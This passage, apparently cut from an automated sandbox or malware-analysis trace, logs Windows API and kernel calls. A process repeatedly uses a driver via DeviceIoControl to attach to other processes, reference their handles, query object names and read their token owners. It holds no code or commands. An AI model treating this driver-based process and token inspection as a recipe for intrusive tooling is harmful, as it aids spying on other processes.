TokenHandle=0xfffffa8003473380*=0xc8) returned 0x0 [0105.719] ZwClose (Handle=0xffffffff800009f0) returned 0x0 [0105.719] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.719] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.719] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.721] CloseHandle (hObject=0xc8) returned 1 [0105.721] CloseHandle (hObject=0xc0) returned 1 [0105.721] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.721] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.721] PsLookupProcessByProcessId (in: ProcessId=0x970, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.721] PsAcquireProcessExitSynchronization () returned 0x0 [0105.721] KeStackAttachProcess (in: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff88004f095d0) [0105.721] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002059100, HandleInformation=0x0) returned 0x0 [0105.721] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.721] PsReleaseProcessExitSynchronization () returned 0x2 [0105.721] ObfDereferenceObject (Object=0xfffffa800205a7d0) returned 0x10 [0105.721] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.721] ObfDereferenceObject (Object=0xfffffa8002059100) returned 0x1 [0105.721] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.721] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.722] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.722] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0105.722] PsLookupProcessByProcessId (in: ProcessId=0x970, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.722] PsAcquireProcessExitSynchronization () returned 0x0 [0105.722] KeStackAttachProcess (in: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff88004f095d0) [0105.722] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800206a400, HandleInformation=0x0) returned 0x0 [0105.722] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.722] PsReleaseProcessExitSynchronization () returned 0x2 [0105.722] ObfDereferenceObject (Object=0xfffffa800205a7d0) returned 0x10 [0105.722] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.722] ObfDereferenceObject (Object=0xfffffa800206a400) returned 0x1 [0105.722] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.722] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.722] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.722] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.722] PsLookupProcessByProcessId (in: ProcessId=0x970, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.722] PsAcquireProcessExitSynchronization () returned 0x0 [0105.722] KeStackAttachProcess (in: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff88004f095d0) [0105.722] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.722] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.722] PsReleaseProcessExitSynchronization () returned 0x2 [0105.722] ObfDereferenceObject (Object=0xfffffa800205a7d0) returned 0x10 [0105.722] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80024f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.722] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.722] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.722] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.722] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x980) returned 0xc0 [0105.722] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.722] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8002087b30, HandleInformation=0x0) returned 0x0 [0105.723] ObOpenObjectByPointer (in: Object=0xfffffa8002087b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009f0) returned 0x0 [0105.723] ObfDereferenceObject (Object=0xfffffa8002087b30) returned 0x12 [0105.723] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009f0, DesiredAccess=0x8, TokenHandle=0xfffffa8003473380 | out: TokenHandle=0xfffffa8003473380*=0xc8) returned 0x0 [0105.723] ZwClose (Handle=0xffffffff800009f0) returned 0x0 [0105.723] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.723] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.723] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.724] CloseHandle (hObject=0xc8) returned 1 [0105.724] CloseHandle (hObject=0xc0) returned 1 [0105.724] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.724] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.724] PsLookupProcessByProcessId (in: ProcessId=0x980, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.724] PsAcquireProcessExitSynchronization () returned 0x0 [0105.724] KeStackAttachProcess (in: PROCESS=0xfffffa8002087b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002087b30, ApcState=0xfffff88004f095d0) [0105.724] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002085ae0, HandleInformation=0x0) returned 0x0 [0105.724] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.724] PsReleaseProcessExitSynchronization () returned 0x2 [0105.724] ObfDereferenceObject (Object=0xfffffa8002087b30) returned 0x10 [0105.724] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa5044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fa5044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.724] ObfDereferenceObject (Object=0xfffffa8002085ae0) returned 0x1 [0105.725] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.725] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.725] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.725] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x92, lpOverlapped=0x0) returned 1 [0105.725] PsLookupProcessByProcessId (in: ProcessId=0x980, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.725] PsAcquireProcessExitSynchronization () returned 0x0 [0105.725] KeStackAttachProcess (in: PROCESS=0xfffffa8002087b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002087b30, ApcState=0xfffff88004f095d0) [0105.725] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80020dd640, HandleInformation=0x0) returned 0x0 [0105.725] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.725] PsReleaseProcessExitSynchronization () returned 0x2 [0105.725] ObfDereferenceObject (Object=0xfffffa8002087b30) returned 0x10 [0105.725] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.725] ObfDereferenceObject (Object=0xfffffa80020dd640) returned 0x1 [0105.725] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.725] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.725] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.725] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.725] PsLookupProcessByProcessId (in: ProcessId=0x980, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.725] PsAcquireProcessExitSynchronization () returned 0x0 [0105.725] KeStackAttachProcess (in: PROCESS=0xfffffa8002087b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002087b30, ApcState=0xfffff88004f095d0) [0105.725] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.725] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.725] PsReleaseProcessExitSynchronization () returned 0x2 [0105.725] ObfDereferenceObject (Object=0xfffffa8002087b30) returned 0x10 [0105.725] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.725] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.725] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.725] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.725] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x990) returned 0xc0 [0105.725] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.726] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa800208db30, HandleInformation=0x0) returned 0x0 [0105.726] ObOpenObjectByPointer (in: Object=0xfffffa800208db30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009f0) returned 0x0 [0105.726] ObfDereferenceObject (Object=0xfffffa800208db30) returned 0x12 [0105.726] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009f0, DesiredAccess=0x8, TokenHandle=0xfffffa8003473380 | out: TokenHandle=0xfffffa8003473380*=0xc8) returned 0x0 [0105.726] ZwClose (Handle=0xffffffff800009f0) returned 0x0 [0105.726] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.726] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.726] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.727] CloseHandle (hObject=0xc8) returned 1 [0105.727] CloseHandle (hObject=0xc0) returned 1 [0105.727] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.727] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.727] PsLookupProcessByProcessId (in: ProcessId=0x990, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.727] PsAcquireProcessExitSynchronization () returned 0x0 [0105.727] KeStackAttachProcess (in: PROCESS=0xfffffa800208db30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800208db30, ApcState=0xfffff88004f095d0) [0105.727] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001fce180, HandleInformation=0x0) returned 0x0 [0105.727] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.727] PsReleaseProcessExitSynchronization () returned 0x2 [0105.727] ObfDereferenceObject (Object=0xfffffa800208db30) returned 0x10 [0105.728] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.728] ObfDereferenceObject (Object=0xfffffa8001fce180) returned 0x1 [0105.728] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.728] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.728] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.728] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0105.728] PsLookupProcessByProcessId (in: ProcessId=0x990, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.728] PsAcquireProcessExitSynchronization () returned 0x0 [0105.728] KeStackAttachProcess (in: PROCESS=0xfffffa800208db30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800208db30, ApcState=0xfffff88004f095d0) [0105.728] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800208d070, HandleInformation=0x0) returned 0x0 [0105.728] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.728] PsReleaseProcessExitSynchronization () returned 0x2 [0105.728] ObfDereferenceObject (Object=0xfffffa800208db30) returned 0x10 [0105.728] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.728] ObfDereferenceObject (Object=0xfffffa800208d070) returned 0x1 [0105.728] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.728] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.728] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.728] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0105.728] PsLookupProcessByProcessId (in: ProcessId=0x990, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.728] PsAcquireProcessExitSynchronization () returned 0x0 [0105.728] KeStackAttachProcess (in: PROCESS=0xfffffa800208db30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800208db30, ApcState=0xfffff88004f095d0) [0105.728] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0105.728] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.728] PsReleaseProcessExitSynchronization () returned 0x2 [0105.728] ObfDereferenceObject (Object=0xfffffa800208db30) returned 0x10 [0105.728] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09550) returned 0x0 [0105.728] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4d [0105.728] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.728] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.728] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9a0) returned 0xc0 [0105.729] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0105.729] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80020222d0, HandleInformation=0x0) returned 0x0 [0105.729] ObOpenObjectByPointer (in: Object=0xfffffa80020222d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009f0) returned 0x0 [0105.729] ObfDereferenceObject (Object=0xfffffa80020222d0) returned 0x12 [0105.729] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009f0, DesiredAccess=0x8, TokenHandle=0xfffffa8003473380 | out: TokenHandle=0xfffffa8003473380*=0xc8) returned 0x0 [0105.729] ZwClose (Handle=0xffffffff800009f0) returned 0x0 [0105.729] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.729] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0105.729] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0105.730] CloseHandle (hObject=0xc8) returned 1 [0105.730] CloseHandle (hObject=0xc0) returned 1 [0105.730] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.730] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0105.730] PsLookupProcessByProcessId (in: ProcessId=0x9a0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.730] PsAcquireProcessExitSynchronization () returned 0x0 [0105.730] KeStackAttachProcess (in: PROCESS=0xfffffa80020222d0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020222d0, ApcState=0xfffff88004f095d0) [0105.730] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002022c00, HandleInformation=0x0) returned 0x0 [0105.730] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.730] PsReleaseProcessExitSynchronization () returned 0x2 [0105.731] ObfDereferenceObject (Object=0xfffffa80020222d0) returned 0x10 [0105.731] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09508) returned 0x0 [0105.731] ObfDereferenceObject (Object=0xfffffa8002022c00) returned 0x1 [0105.731] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0105.731] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0105.731] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0105.731] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0105.731] PsLookupProcessByProcessId (in: ProcessId=0x9a0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0105.731] PsAcquireProcessExitSynchronization () returned 0x0 [0105.731] KeStackAttachProcess (in: PROCESS=0xfffffa80020222d0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80020222d0, ApcState=0xfffff88004f095d0) [0105.731] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800202d760, HandleInformation=0x0) returned 0x0 [0105.731] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0105.731] PsReleaseProcessExitSynchronization () returned 0x2 [0105.731] ObfDereferenceObject (Object=0xfffffa80020222d0) returned 0x10 [0105.731] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09508) returned 0x0 